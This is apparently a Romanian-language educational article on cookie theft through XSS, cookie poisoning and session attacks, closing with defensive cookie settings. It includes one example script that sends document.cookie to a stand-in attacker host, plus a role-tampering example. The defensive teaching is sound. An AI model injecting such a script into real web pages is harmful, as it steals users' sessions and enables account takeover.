Cookie-urile sunt piese fundamentale ale experienței online. Ele înregistrează sesiuni, preferințe și informații de autentificare. Dar știai că, dacă un site este vulnerabil, cookie-urile tale pot fi furate cu ușurință prin atacuri XSS (Cross-Site Scripting)?
În acest articol vei afla cum se produce furtul de cookie-uri, ce riscuri implică și cum te poți proteja.
Ce este un cookie și ce poate (sau nu poate) face?
Un cookie este un fișier text stocat de browser la cererea unui site web. În mod normal:
- Poate: stoca date despre sesiune, preferințe, autentificare.
- Nu poate: executa cod, instala programe, accesa fișierele tale.
Totuși, dacă site-ul este vulnerabil la atacuri de tip XSS, aceste date pot fi interceptate și folosite împotriva ta.
Cum funcționează un atac XSS pentru furtul cookie-urilor
Un atacator poate introduce cod JavaScript malițion printr-un formular sau comentariu pe un site vulnerabil. Exemplu:
<script>
fetch('https://evil-attacker.com/steal.php?cookie=' + document.cookie);
</script>
Când alt utilizator accesează pagina cu comentariul, scriptul se execută și trimite cookie-urile către serverul atacatorului.
Scenariu simplificat
- Utilizator accesează pagina vulnerabilă.
- Scriptul malițion se execută automat.
- Cookie-ul de sesiune este trimis atacatorului.
- Atacatorul poate folosi cookie-ul pentru a se conecta în contul victimei.
Ce tipuri de atacuri asupra cookie-urilor mai există?
Cookie Poisoning
Un atacator modifică manual valorile cookie-ului pentru a obține privilegii sau acces neautorizat.
Exemplu: Schimbarea valorii user_role=guest
în user_role=admin
într-un cookie nesecurizat.
Cookie Theft prin alte metode
- Session Hijacking: folosirea cookie-urilor furate pentru a prelua sesiuni active.
- Session Fixation: impunerea unui cookie controlat de atacator utilizatorului.
Cum te poți proteja?
Amenințare | Soluție de protecție |
---|---|
Cod malițion XSS | Validare și sanitizare input (escapare caractere HTML) |
Acces JavaScript la cookie | Setarea atributului HttpOnly |
Transmitere cookie pe HTTP | Folosirea atributului Secure (numai HTTPS) |
Atacuri între site-uri diferite | Setarea atributului SameSite=Strict |
Exemplu de cookie sigur:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
Concluzie
Chiar dacă cookie-urile nu pot executa cod singure, exploatarea vulnerabilităților XSS le poate transforma într-un vector puternic de atac. Protejarea aplicațiilor web prin politici corecte de securitate este esențială pentru a preveni furtul de date și compromiterea conturilor.
Rămâi informat, securizează-ți aplicațiile și navighează în siguranță!